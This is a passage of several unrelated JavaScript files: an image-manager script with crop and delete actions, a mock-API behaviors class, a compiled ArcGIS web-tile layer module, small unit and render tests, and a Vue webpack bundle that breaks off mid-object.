n=$(this).data("uuid-media");$.ajax({type:"POST",url:current_url+"/getManagerEdition",contentType:"application/x-www-form-urlencoded; charset=UTF-8",data:(t={},a(t,crsftoken,$('meta[name="X-CSRF-TOKEN"]').attr("content")),a(t,"value",{uuid:n}),t),dataType:"json",success:function(e,t,a){200==a.status&&($("#imageManager_edition").html(e.html),$("#imageManager_edition > #kt_modal_manager_edition").modal("show"))}})})),$(document).on("submit","#kt_apps_manager_media",(function(e){var t;e.preventDefault(),$.ajax({type:"POST",url:current_url+"/saveManagerEdition",contentType:"application/x-www-form-urlencoded; charset=UTF-8",data:(t={},a(t,crsftoken,$('meta[name="X-CSRF-TOKEN"]').attr("content")),a(t,"value",$(this).serialize()),t),dataType:"json",success:function(e,t,a){$.notify({title:e.success.message?_LANG_.updated+"!":_LANG_.warning+"!",message:e.success.message?e.success.message:e.error.message},{type:e.success.message?"success":"warning"})}})})),$(document).on("click",".deleteFileMedia",(function(e){var t;e.preventDefault();var n=$(this).data("imagemanager");$.ajax({type:"POST",url:current_url+"/removeFile",data:(t={},a(t,crsftoken,$('meta[name="X-CSRF-TOKEN"]').attr("content")),a(t,"uuid",$(this).data("uuid")),t),dataType:"json",beforeSend:function(e){KTApp.block("#imageManager",{overlayColor:"#000000",state:"primary"})},success:function(e,t,a){$.notify({title:e.success.message?_LANG_.updated+"!":_LANG_.warning+"!",message:e.success.message?e.success.message:e.error.message},{type:e.success.message?"success":"warning"}),200==a.status&&($("#imageManager_edition #kt_modal_manager_edition").modal("hide"),$(".modal-backdrop").remove(),$("#imageManager_edition").html(""),"reload"==n&&(KTApp.unblock("#imageManager"),$("#imageManager").html(e.html)))}})}))})),$(document).on("click","#kt_apps_manager_media .croppedFile",(function(e){var t;$(this).data("uuid");$.ajax({type:"POST",url:current_url+"/getCropTemplate",data:(t={},a(t,crsftoken,$('meta[name="X-CSRF-TOKEN"]').attr("content")),a(t,"uuid",$(this).data("uuid")),t),dataType:"json",beforeSend:function(e){KTApp.block(".thumbnail-image",{overlayColor:"#000000",state:"primary"})},success:function(e,t,a){200==a.status&&(KTApp.unblock(".thumbnail-image"),1==e.crop&&($(".attachment-media-view").fadeOut(),$("#cropImage").html(e.cropImage),$("#cropImage").fadeIn(),n.init(),KTApp.initTooltips()))}})})),$(document).on("click","#kt_modal_manager_edition .cancelCrop",(function(e){e.preventDefault(),$("#cropImage").fadeOut(),$("#cropImage").html(""),$(".attachment-media-view").fadeIn()}));var n={init:function(){var e,t,a;e=document.getElementById("image-upload"),t={crop:function(e){document.getElementById("dataX").value=Math.round(e.detail.x),document.getElementById("dataY").value=Math.round(e.detail.y),document.getElementById("dataWidth").value=Math.round(e.detail.width),document.getElementById("dataHeight").value=Math.round(e.detail.height),document.getElementById("dataRotate").value=e.detail.rotate,document.getElementById("dataScaleX").value=e.detail.scaleX,document.getElementById("dataScaleY").value=e.detail.scaleY;var t=document.getElementById("cropper-preview-lg");t.innerHTML="",t.appendChild(a.getCroppedCanvas({width:256,height:160}));var n=document.getElementById("cropper-preview-md");n.innerHTML="",n.appendChild(a.getCroppedCanvas({width:128,height:80}));var o=document.getElementById("cropper-preview-sm");o.innerHTML="",o.appendChild(a.getCroppedCanvas({width:64,height:40}));var i=document.getElementById("cropper-preview-xs");i.innerHTML="",i.appendChild(a.getCroppedCanvas({width:32,height:20}))},cropmove:function(e){console.log(e.type,e.detail.action)}},a=new Cropper(e,t),document.getElementById("cropper-buttons").querySelectorAll("[data-method]").forEach((function(e){e.addEventListener("click",(function(t){var n,o=e.getAttribute("data-method"),i=e.getAttribute("data-option")||void 0,r=e.getAttribute("data-second-option")||void 0;try{i=JSON.parse(i)}catch(t){}n=r?i?"":a[o]():a[o](i,r),"move"==e.getAttribute("data-method")&&a.move(e.getAttribute("data-option"),e.getAttribute("data-second-option")),"getCroppedCanvas"==e.getAttribute("data-method")&&(option="",""!=e.getAttribute("data-option")&&(console.log(e.getAttribute("data-option")),option=JSON.parse(e.getAttribute("data-option"))),a.getCroppedCanvas(option).toBlob((function(e){var t=new FormData;t.append("uuid",$("#image-upload").attr("data-uuid")),t.append("field",!1),t.append("imageCustomEdition",!0),t.append("croppedImage",e,$("#image-upload").attr("data-mine")),t.append([crsftoken],$('meta[name="X-CSRF-TOKEN"]').attr("content")),$.ajax({type:"POST",url:current_url+"/cropFile",data:t,processData:!1,contentType:!1,dataType:"json",success:function(e,t,a){$.notify({title:e.success.message?_LANG_.updated+"!":_LANG_.warning+"!",message:e.success.message?e.success.message:e.error.message},{type:e.success.message?"success":"warning"}),200==a.status&&($("#cropImage").fadeOut(),$("#cropImage").html(""),$(".attachment-media-view").fadeIn(),$("#imageCustom").html(e.imageCustomEdition))}})}),$("#image-upload").attr("data-mine")));var s=document.querySelector("#putData");try{s.value=JSON.stringify(n)}catch(t){n||(s.value=n)}}))})),document.getElementById("setAspectRatio").querySelectorAll('[name="aspectRatio"]').forEach((function(e){e.addEventListener("click",(function(e){a.setAspectRatio(e.target.value)}))}))}};$(document).on("click","#kt_apps_manager_media .deleteFileCustom",(function(e){var t;e.preventDefault();var n=$(this);$.ajax({type:"POST",url:current_url+"/deteteFileCustom",data:(t={},a(t,crsftoken,$('meta[name="X-CSRF-TOKEN"]').attr("content")),a(t,"format",$(this).data("format")),a(t,"uuid",$(this).data("uuid")),t),dataType:"json",success:function(e,t,a){$.notify({title:e.success.message?_LANG_.updated+"!":_LANG_.warning+"!",message:e.success.message?e.success.message:e.error.message},{type:e.success.message?"success":"warning"}),200==a.status&&n.parent().parent().remove()}})}))}});
//# sourceMappingURL=imageManager.js.map
|
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.EndpointBehaviors = void 0;
const tslib_1 = require("tslib");
const lorem_ipsum_1 = require("lorem-ipsum");
const uuid_1 = require("uuid");
const fs = tslib_1.__importStar(require("fs-extra"));
const path = tslib_1.__importStar(require("path"));
const glob_1 = tslib_1.__importDefault(require("glob"));
class EndpointBehaviors extends Object {
//
// Constructor.
constructor(endpoint) {
super();
//
// Protected properties.
this._endpoint = null;
this._endpoint = endpoint;
}
//
// Basic behaviors.
endpoint(endpointPath, method) {
let out = undefined;
const fullPath = path.join(this._endpoint.directory(), `${endpointPath}.json`);
if (fs.existsSync(fullPath)) {
out = this._endpoint.responseFor(endpointPath, method, true);
}
else {
const rootPath = this._endpoint.directory();
const filter = /^(.*)\.json$/i;
out = glob_1.default.sync(fullPath)
.filter((p) => p.match(filter))
.filter((p) => p.indexOf(rootPath) === 0)
.map((p) => p.substr(rootPath.length + 1))
.map((p) => p.replace(filter, '$1'))
.map((ep) => this._endpoint.responseFor(ep, method, true));
if (out.length === 0) {
out = this._endpoint.responseFor(endpointPath, method);
}
}
return out;
}
lorem(params) {
return params === null ? lorem_ipsum_1.loremIpsum() : lorem_ipsum_1.loremIpsum(params);
}
randNumber(...args) {
let max = 100;
let min = 0;
let out = 0;
if (args[0] === null) {
args = [];
}
if (Array.isArray(args[0])) {
if (args[0].length > 0) {
max = parseInt(args[0][0]);
}
if (args[0].length > 1) {
min = parseInt(args[0][1]);
}
}
else if (typeof args[0] === 'object') {
if (args[0].max !== undefined) {
max = parseInt(args[0].max);
}
if (args[0].min !== undefined) {
min = parseInt(args[0].min);
}
}
else {
if (args[0] !== undefined) {
max = parseInt(args[0]);
}
if (args[1] !== undefined) {
min = parseInt(args[1]);
}
}
if (min > max) {
let aux = max;
max = min;
min = aux;
}
out = Math.floor(Math.random() * (max - min + 1)) + min;
return out;
}
randString(length = 10) {
let out = '';
while (out.length < length) {
out += Math.random().toString(36).substring(7);
}
return out.substr(0, length);
}
uuid() {
return uuid_1.v4();
}
//
// Public methods.
importBehaviors(behaviors) {
if (behaviors && typeof behaviors === 'object' && !Array.isArray(behaviors)) {
Object.keys(behaviors).forEach((key) => {
if (EndpointBehaviors._PrivateBehaviors.indexOf(key) < 0 && behaviors[key] !== undefined) {
this[key] = behaviors[key];
}
});
}
}
}
exports.EndpointBehaviors = EndpointBehaviors;
//
// Protected class properties.
EndpointBehaviors._PrivateBehaviors = [
'importBehaviors'
];
|
self.webpackChunkRemoteClient([61],{196:function(e,t,l){"use strict";l.r(t);var r=l(18),i=(l(7),l(5)),o=l(37),s=(l(3),l(4),l(20)),a=l(53),n=l(19),c=l(57),p=l(14),u=l(24),b=(l(34),l(35),l(2)),h=l(55),j=l(60),O=l(56),d=(l(58),l(51)),y=l(80),f=l(81),v=l(110),m=l(91),w=l(89),g=l(127),T=l(106),x=l(99),S=l(77),R=l(229);let z=class extends(Object(v.a)(Object(g.a)(Object(T.a)(Object(m.a)(Object(w.a)(Object(f.a)(y.a))))))){constructor(...e){super(...e),this.copyright="",this.fullExtent=new O.a(-20037508.342787,-20037508.34278,20037508.34278,20037508.342787,h.a.WebMercator),this.legendEnabled=!1,this.isReference=null,this.popupEnabled=!1,this.spatialReference=h.a.WebMercator,this.subDomains=null,this.tileInfo=new S.a({size:[256,256],dpi:96,format:"png8",compressionQuality:0,origin:new j.a({x:-20037508.342787,y:20037508.342787,spatialReference:h.a.WebMercator}),spatialReference:h.a.WebMercator,lods:[new x.a({level:0,scale:591657527.591555,resolution:156543.033928}),new x.a({level:1,scale:295828763.795777,resolution:78271.5169639999}),new x.a({level:2,scale:147914381.897889,resolution:39135.7584820001}),new x.a({level:3,scale:73957190.948944,resolution:19567.8792409999}),new x.a({level:4,scale:36978595.474472,resolution:9783.93962049996}),new x.a({level:5,scale:18489297.737236,resolution:4891.96981024998}),new x.a({level:6,scale:9244648.868618,resolution:2445.98490512499}),new x.a({level:7,scale:4622324.434309,resolution:1222.99245256249}),new x.a({level:8,scale:2311162.217155,resolution:611.49622628138}),new x.a({level:9,scale:1155581.108577,resolution:305.748113140558}),new x.a({level:10,scale:577790.554289,resolution:152.874056570411}),new x.a({level:11,scale:288895.277144,resolution:76.4370282850732}),new x.a({level:12,scale:144447.638572,resolution:38.2185141425366}),new x.a({level:13,scale:72223.819286,resolution:19.1092570712683}),new x.a({level:14,scale:36111.909643,resolution:9.55462853563415}),new x.a({level:15,scale:18055.954822,resolution:4.77731426794937}),new x.a({level:16,scale:9027.977411,resolution:2.38865713397468}),new x.a({level:17,scale:4513.988705,resolution:1.19432856685505}),new x.a({level:18,scale:2256.994353,resolution:.597164283559817}),new x.a({level:19,scale:1128.497176,resolution:.298582141647617})]}),this.type="web-tile",this.urlTemplate=null,this.wmtsInfo=null}normalizeCtorArgs(e,t){return"string"==typeof e?Object(i.d)({urlTemplate:e},t||{}):e}load(e){const t=this.loadFromPortal({supportedTypes:["WMTS"]},e).then(()=>{let e="";if(this.urlTemplate)if(this.spatialReference.equals(this.tileInfo.spatialReference)){const t=new u.a(this.urlTemplate);this.subDomains&&this.subDomains.length>0||-1===t.authority.indexOf("{subDomain}")||(e="is missing 'subDomains' property")}else e="spatialReference must match tileInfo.spatialReference";else e="is missing the required 'urlTemplate' property value";if(e)throw new p.a("web-tile-layer:load",`WebTileLayer (title: '${this.title}', id: '${this.id}') ${e}`)});return this.addResolvingPromise(t),Object(b.s)(this)}get levelValues(){const e=[];if(!this.tileInfo)return null;for(const t of this.tileInfo.lods)e[t.level]=t.levelValue||t.level;return e}readSpatialReference(e,t){return e||t.fullExtent&&t.fullExtent.spatialReference&&h.a.fromJSON(t.fullExtent.spatialReference)}get tileServers(){if(!this.urlTemplate)return null;const e=[],{urlTemplate:t,subDomains:l}=this,r=new u.a(t),i=r.scheme?r.scheme+"://":"//",o=i+r.authority+"/";if(-1===r.authority.indexOf("{subDomain}"))e.push(o);else if(l&&l.length>0&&r.authority.split(".").length>1)for(const t of l)e.push(i+r.authority.replace(/\{subDomain\}/gi,t)+"/");return e.map(e=>("/"!==e.charAt(e.length-1)&&(e+="/"),e))}get urlPath(){if(!this.urlTemplate)return null;const e=this.urlTemplate,t=new u.a(e),l=(t.scheme?t.scheme+"://":"//")+t.authority+"/";return e.substring(l.length)}readUrlTemplate(e,t){return e||t.templateUrl}writeUrlTemplate(e,t){e&&Object(u.u)(e)&&(e="https:"+e),e&&(e=e.replace(/\{z\}/gi,"{level}").replace(/\{x\}/gi,"{col}").replace(/\{y\}/gi,"{row}"),e=Object(u.A)(e)),t.templateUrl=e}fetchTile(e,t,l,r={}){const{signal:i,timestamp:o}=r,s=this.getTileUrl(e,t,l),a={responseType:"image",signal:i};return null!=o&&(a.query={_ts:r.timestamp}),Object(d.default)(s,a).then(e=>e.data)}getTileUrl(e,t,l){const r=this.levelValues[e];return this.tileServers[t%this.tileServers.length]+Object(o.c)(this.urlPath,{level:r,z:r,col:l,x:l,row:t,y:t})}};Object(r.a)([Object(s.b)({type:String,value:"",json:{write:!0}})],z.prototype,"copyright",void 0),Object(r.a)([Object(s.b)({type:O.a,json:{write:!0}})],z.prototype,"fullExtent",void 0),Object(r.a)([Object(s.b)({readOnly:!0,json:{read:!1,write:!1}})],z.prototype,"legendEnabled",void 0),Object(r.a)([Object(s.b)({type:["show","hide"]})],z.prototype,"listMode",void 0),Object(r.a)([Object(s.b)({dependsOn:["tileInfo"]})],z.prototype,"levelValues",null),Object(r.a)([Object(s.b)({type:Boolean,json:{read:!1,write:{enabled:!0,overridePolicy:()=>({enabled:!1})}}})],z.prototype,"isReference",void 0),Object(r.a)([Object(s.b)({type:["WebTiledLayer"],value:"WebTiledLayer"})],z.prototype,"operationalLayerType",void 0),Object(r.a)([Object(s.b)({readOnly:!0,json:{read:!1,write:!1}})],z.prototype,"popupEnabled",void 0),Object(r.a)([Object(s.b)({type:h.a})],z.prototype,"spatialReference",void 0),Object(r.a)([Object(a.a)("spatialReference",["spatialReference","fullExtent.spatialReference"])],z.prototype,"readSpatialReference",null),Object(r.a)([Object(s.b)({type:[String],json:{write:!0}})],z.prototype,"subDomains",void 0),Object(r.a)([Object(s.b)({type:S.a,json:{write:!0}})],z.prototype,"tileInfo",void 0),Object(r.a)([Object(s.b)({readOnly:!0,dependsOn:["urlTemplate","subDomains"]})],z.prototype,"tileServers",null),Object(r.a)([Object(s.b)({json:{read:!1}})],z.prototype,"type",void 0),Object(r.a)([Object(s.b)({dependsOn:["urlTemplate"]})],z.prototype,"urlPath",null),Object(r.a)([Object(s.b)({type:String,json:{origins:{"portal-item":{read:{source:"url"}}}}})],z.prototype,"urlTemplate",void 0),Object(r.a)([Object(a.a)("urlTemplate",["urlTemplate","templateUrl"])],z.prototype,"readUrlTemplate",null),Object(r.a)([Object(c.a)("urlTemplate",{templateUrl:{type:String}})],z.prototype,"writeUrlTemplate",null),Object(r.a)([Object(s.b)({type:R.a,json:{write:!0}})],z.prototype,"wmtsInfo",void 0),z=Object(r.a)([Object(n.a)("esri.layers.WebTileLayer")],z);var M=z;t.default=M},229:function(e,t,l){"use strict";var r,i=l(18),o=(l(7),l(5)),s=(l(3),l(4),l(20)),a=l(19),n=(l(24),l(34),l(35),l(50));let c=r=class extends n.a{constructor(e){super(e)}clone(){return new r({customLayerParameters:Object(o.a)(this.customLayerParameters),customParameters:Object(o.a)(this.customParameters),layerIdentifier:this.layerIdentifier,tileMatrixSet:this.tileMatrixSet,url:this.url})}};Object(i.a)([Object(s.b)({json:{type:Object,write:!0}})],c.prototype,"customLayerParameters",void 0),Object(i.a)([Object(s.b)({json:{type:Object,write:!0}})],c.prototype,"customParameters",void 0),Object(i.a)([Object(s.b)({type:String,json:{write:!0}})],c.prototype,"layerIdentifier",void 0),Object(i.a)([Object(s.b)({type:String,json:{write:!0}})],c.prototype,"tileMatrixSet",void 0),Object(i.a)([Object(s.b)({type:String,json:{write:!0}})],c.prototype,"url",void 0),c=r=Object(i.a)([Object(a.a)("esri.layer.support.WMTSLayerInfo")],c);var p=c;t.a=p},77:function(e,t,l){"use strict";var r,i=l(18),o=(l(7),l(3),l(4)),s=l(20),a=l(52),n=l(53),c=l(19),p=l(57),u=(l(24),l(34),l(35),l(50)),b=l(71),h=l(55),j=l(92),O=l(60),d=(l(58),l(87)),y=l(83),f=l(99);const v=new a.a({PNG:"png",PNG8:"png8",PNG24:"png24",PNG32:"png32",JPEG:"jpg",JPG:"jpg",DIB:"dib",TIFF:"tiff",EMF:"emf",PS:"ps",PDF:"pdf",GIF:"gif",SVG:"svg",SVGZ:"svgz",Mixed:"mixed",MIXED:"mixed",LERC:"lerc",LERC2D:"lerc2d",RAW:"raw",pbf:"pbf"});let m=r=class extends u.a{constructor(e){super(e),this.dpi=96,this.format=null,this.origin=null,this.minScale=0,this.maxScale=0,this.size=null,this.spatialReference=null}static create(e={size:256,spatialReference:h.a.WebMercator}){const t=e.resolutionFactor||1,l=e.scales,i=e.size||256,o=e.spatialReference||h.a.WebMercator;if(!Object(b.h)(o)){const e=[];if(l)for(let t=0;t<l.length;t++){const r=l[t];e.push({level:t,scale:r,resolution:r})}else{let t=5e-4;for(let l=23;l>=0;l--)e.unshift({level:l,scale:t,resolution:t}),t*=2}return new r({dpi:96,lods:e,origin:new O.a(0,0,o),size:[i,i],spatialReference:o})}const s=Object(b.d)(o),a=e.origin?new O.a({x:e.origin.x,y:e.origin.y,spatialReference:o}):new O.a(s?{x:s.origin[0],y:s.origin[1],spatialReference:o}:{x:0,y:0,spatialReference:o}),n=1/(39.37*Object(d.b)(o)*96),c=[];if(l)for(let e=0;e<l.length;e++){const t=l[e],r=t*n;c.push({level:e,scale:t,resolution:r})}else{let e=Object(b.e)(o)?512/i*591657527.5917094:256/i*591657527.591555;const l=Math.ceil(24/t);c.push({level:0,scale:e,resolution:e*n});for(let r=1;r<l;r++){const l=e/Math.pow(2,t),i=l*n;c.push({level:r,scale:l,resolution:i}),e=l}}return new r({dpi:96,lods:c,origin:a,size:[i,i],spatialReference:o})}get isWrappable(){const{spatialReference:e,origin:t}=this;if(e&&t){const l=Object(b.d)(e);return e.isWrappable&&Math.abs(l.origin[0]-t.x)<=l.dx}return!1}readOrigin(e,t){return O.a.fromJSON({spatialReference:t.spatialReference,...e})}set lods(e){let t=0,l=0;const r=[];this._levelToLOD={},e&&(t=-1/0,l=1/0,e.forEach(e=>{r.push(e.scale),t=e.scale>t?e.scale:t,l=e.scale<l?e.scale:l,this._levelToLOD[e.level]=e})),this._set("scales",r),this._set("minScale",t),this._set("maxScale",l),this._set("lods",e),this._initializeUpsampleLevels()}readSize(e,t){return[t.cols,t.rows]}writeSize(e,t){t.cols=e[0],t.rows=e[0]}zoomToScale(e){const t=this.scales;if(e<=0)return t[0];if(e>=t.length)return t[t.length-1];{const l=Math.round(e-.5),r=Math.round(e);return t[r]+(r-e)*(t[l]-t[r])}}scaleToZoom(e){const t=this.scales,l=t.length-1;let r=0;for(;r<l;r++){const l=t[r],i=t[r+1];if(l<=e)return r;if(i===e)return r+1;if(l>e&&i<e)return r+1-(e-i)/(l-i)}return r}snapScale(e,t=.95){const l=this.scaleToZoom(e);return l%Math.floor(l)>=t?this.zoomToScale(Math.ceil(l)):this.zoomToScale(Math.floor(l))}tileAt(e,t,l,r){const i=this.lodAt(e);if(!i)return null;let o,s;if("number"==typeof t)o=t,s=l;else if(Object(b.c)(t.spatialReference,this.spatialReference))o=t.x,s=t.y,r=l;else{const e=Object(j.d)(t,this.spatialReference);if(!e)return null;o=e.x,s=e.y,r=l}const a=i.resolution*this.size[0],n=i.resolution*this.size[1];return r||(r={id:null,level:0,row:0,col:0,extent:Object(y.c)()}),r.level=e,r.row=Math.floor((this.origin.y-s)/n+.001),r.col=Math.floor((o-this.origin.x)/a+.001),this.updateTileInfo(r),r}updateTileInfo(e){const t=this.lodAt(e.level);if(!t)return;const l=t.resolution*this.size[0],r=t.resolution*this.size[1];e.id=`${e.level}/${e.row}/${e.col}`,e.extent||(e.extent=Object(y.c)()),e.extent[0]=this.origin.x+e.col*l,e.extent[1]=this.origin.y-(e.row+1)*r,e.extent[2]=e.extent[0]+l,e.extent[3]=e.extent[1]+r}upsampleTile(e){const t=this._upsampleLevels[e.level];return!(!t||-1===t.parentLevel||(e.level=t.parentLevel,e.row=Math.floor(e.row/t.factor+.001),e.col=Math.floor(e.col/t.factor+.001),this.updateTileInfo(e),0))}getTileBounds(e,t){const{resolution:l}=this.lodAt(t.level),r=l*this.size[0],i=l*this.size[1];return e[0]=this.origin.x+t.col*r,e[1]=this.origin.y-(t.row+1)*i,e[2]=e[0]+r,e[3]=e[1]+i,e}lodAt(e){return this._levelToLOD&&this._levelToLOD[e]||null}clone(){return r.fromJSON(this.write({}))}_initializeUpsampleLevels(){const e=this.lods;this._upsampleLevels=[];let t=null;for(let l=0;l<e.length;l++){const r=e[l];this._upsampleLevels[r.level]={parentLevel:t?t.level:-1,factor:t?t.resolution/r.resolution:0},t=r}}};Object(i.a)([Object(s.b)({type:Number,json:{write:!0}})],m.prototype,"compressionQuality",void 0),Object(i.a)([Object(s.b)({type:Number,json:{write:!0}})],m.prototype,"dpi",void 0),Object(i.a)([Object(s.b)({type:String,json:{read:v.read,write:v.write,origins:{"web-scene":{read:!1,write:!1}}}})],m.prototype,"format",void 0),Object(i.a)([Object(s.b)({readOnly:!0,dependsOn:["spatialReference","origin"]})],m.prototype,"isWrappable",null),Object(i.a)([Object(s.b)({type:O.a,json:{write:!0}})],m.prototype,"origin",void 0),Object(i.a)([Object(n.a)("origin")],m.prototype,"readOrigin",null),Object(i.a)([Object(s.b)({type:[f.a],value:null,json:{write:!0}})],m.prototype,"lods",null),Object(i.a)([Object(s.b)({readOnly:!0})],m.prototype,"minScale",void 0),Object(i.a)([Object(s.b)({readOnly:!0})],m.prototype,"maxScale",void 0),Object(i.a)([Object(s.b)({readOnly:!0})],m.prototype,"scales",void 0),Object(i.a)([Object(s.b)({cast:e=>Array.isArray(e)?e:"number"==typeof e?[e,e]:[256,256]})],m.prototype,"size",void 0),Object(i.a)([Object(n.a)("size",["rows","cols"])],m.prototype,"readSize",null),Object(i.a)([Object(p.a)("size",{cols:{type:o.a},rows:{type:o.a}})],m.prototype,"writeSize",null),Object(i.a)([Object(s.b)({type:h.a,json:{write:!0}})],m.prototype,"spatialReference",void 0),m=r=Object(i.a)([Object(c.a)("esri.layers.support.TileInfo")],m);var w=m;t.a=w},99:function(e,t,l){"use strict";var r,i=l(18),o=(l(7),l(3),l(4)),s=l(20),a=l(19),n=(l(24),l(34),l(35),l(50));let c=r=class extends n.a{constructor(e){super(e),this.level=0,this.levelValue=null,this.resolution=0,this.scale=0}clone(){return new r({level:this.level,levelValue:this.levelValue,resolution:this.resolution,scale:this.scale})}};Object(i.a)([Object(s.b)({type:o.a,json:{write:!0}})],c.prototype,"level",void 0),Object(i.a)([Object(s.b)({type:String,json:{write:!0}})],c.prototype,"levelValue",void 0),Object(i.a)([Object(s.b)({type:Number,json:{write:!0}})],c.prototype,"resolution",void 0),Object(i.a)([Object(s.b)({type:Number,json:{write:!0}})],c.prototype,"scale",void 0),c=r=Object(i.a)([Object(a.a)("esri.layers.support.LOD")],c);var p=c;t.a=p}});
|
"use strict";
var assert = require("assert");
var definitions_1 = require("./../../../definitions");
var testHelpers_1 = require("./../../testHelpers");
describe("InterfaceMethodDefinition", function () {
describe("#addParameter()", function () {
var m = new definitions_1.InterfaceMethodDefinition();
var returnedDef = m.addParameter({
name: "myParameter",
type: "string[]",
defaultExpression: "[\"test\"]",
isOptional: true,
isRestParameter: true
});
m.addParameter({
name: "mySecondParameter"
});
it("the returned definition should be in the array", function () {
assert.equal(returnedDef, m.parameters[0]);
});
testHelpers_1.runInterfaceMethodParameterDefinitionTests(m.parameters[0], {
name: "myParameter",
type: { text: "string[]", isArrayType: true, arrayElementType: { text: "string" } },
defaultExpression: { text: "[\"test\"]" },
isOptional: true,
isRestParameter: true
});
testHelpers_1.runInterfaceMethodParameterDefinitionTests(m.parameters[1], {
name: "mySecondParameter"
});
});
});
//# sourceMappingURL=interfaceMethodManipulationTests.js.map
|
import { render } from '@redwoodjs/testing'
import SvgGithub from './SvgGithub'
describe('SvgGithub', () => {
it('renders successfully', () => {
expect(() => {
render(<SvgGithub />)
}).not.toThrow()
})
})
|
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, {
/******/ configurable: false,
/******/ enumerable: true,
/******/ get: getter
/******/ });
/******/ }
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 77);
/******/ })
/************************************************************************/
/******/ ({
/***/ 0:
/***/ (function(module, exports) {
/* globals __VUE_SSR_CONTEXT__ */
// IMPORTANT: Do NOT use ES2015 features in this file.
// This module is a runtime utility for cleaner component module output and will
// be included in the final webpack user bundle.
module.exports = function normalizeComponent (
rawScriptExports,
compiledTemplate,
functionalTemplate,
injectStyles,
scopeId,
moduleIdentifier /* server only */
) {
var esModule
var scriptExports = rawScriptExports = rawScriptExports || {}
// ES6 modules interop
var type = typeof rawScriptExports.default
if (type === 'object' || type === 'function') {
esModule = rawScriptExports
scriptExports = rawScriptExports.default
}
// Vue.extend constructor export interop
var options = typeof scriptExports === 'function'
? scriptExports.options
: scriptExports
// render functions
if (compiledTemplate) {
options.render = compiledTemplate.render
options.staticRenderFns = compiledTemplate.staticRenderFns
options._compiled = true
}
// functional template
if (functionalTemplate) {
options.functional = true
}
// scopedId
if (scopeId) {
options._scopeId = scopeId
}
var hook
if (moduleIdentifier) { // server build
hook = function (context) {
// 2.3 injection
context =
context || // cached call
(this.$vnode && this.$vnode.ssrContext) || // stateful
(this.parent && this.parent.$vnode && this.parent.$vnode.ssrContext) // functional
// 2.2 with runInNewContext: true
if (!context && typeof __VUE_SSR_CONTEXT__ !== 'undefined') {
context = __VUE_SSR_CONTEXT__
}
// inject component styles
if (injectStyles) {
injectStyles.call(this, context)
}
// register component module identifier for async chunk inferrence
if (context && context._registeredComponents) {
context._registeredComponents.add(moduleIdentifier)
}
}
// used by ssr in case component is cached and beforeCreate
// never gets called
options._ssrRegister = hook
} else if (injectStyles) {
hook = injectStyles
}
if (hook) {
var functional = options.functional
var existing = functional
? options.render
: options.beforeCreate
if (!functional) {
// inject component registration as beforeCreate hook
options.beforeCreate = existing
? [].concat(existing, hook)
: [hook]
} else {
// for template-only hot-reload because in that case the render fn doesn't
// go through the normalizer
options._injectStyles = hook
// register for functioal component in vue file
options.render = function renderWithStyleInjection (h, context) {
hook.call(context)
return existing(h, context)
}
}
}
return {
esModule: esModule,
exports: scriptExports,
options: options
}
}
/***/ }),
/***/ 14:
/***/ (function(module, exports, __webpack_require__) {
var disposed = false
var normalizeComponent = __webpack_require__(0)
/* script */
var __vue_script__ = __webpack_require__(15)
/* template */
var __vue_template__ = __webpack_require__(16)
/* template functional */
var __vue_template_functional__ = false
/* styles */
var __vue_styles__ = null
/* scopeId */
var __vue_scopeId__ = null
/* moduleIdentifier (server only) */
var __vue_module_identifier__ = null
var Component = normalizeComponent(
__vue_script__,
__vue_template__,
__vue_template_functional__,
__vue_styles__,
__vue_scopeId__,
__vue_module_identifier__
)
Component.options.__file = "resources/assets/js/components/navComponent.vue"
/* hot reload */
if (false) {(function () {
var hotAPI = require("vue-hot-reload-api")
hotAPI.install(require("vue"), false)
if (!hotAPI.compatible) return
module.hot.accept()
if (!module.hot.data) {
hotAPI.createRecord("data-v-3ae2489e", Component.options)
} else {
hotAPI.reload("data-v-3ae2489e", Component.options)
}
module.hot.dispose(function (data) {
disposed = true
})
})()}
module.exports = Component.exports
/***/ }),
/***/ 15:
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
/* harmony default export */ __webpack_exports__["default"] = ({
name: 'navComponent',
props: {
url: {
type: String,
required: true
}
},
data: function data() {
return {
barner: [{
id: 0,
url: '/img/bg.jpg',
titulo: 'Denim jackets',
descripcion: 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua' + 'Quis ipsum sus-pendisse ultrices gravida. Risus commodo viverra maecenas accumsan lacus vel facilisis.',
precio: 1229.2
}, {
id: 1,
url: '/img/bg-2.jpg',
titulo: 'Content Static',
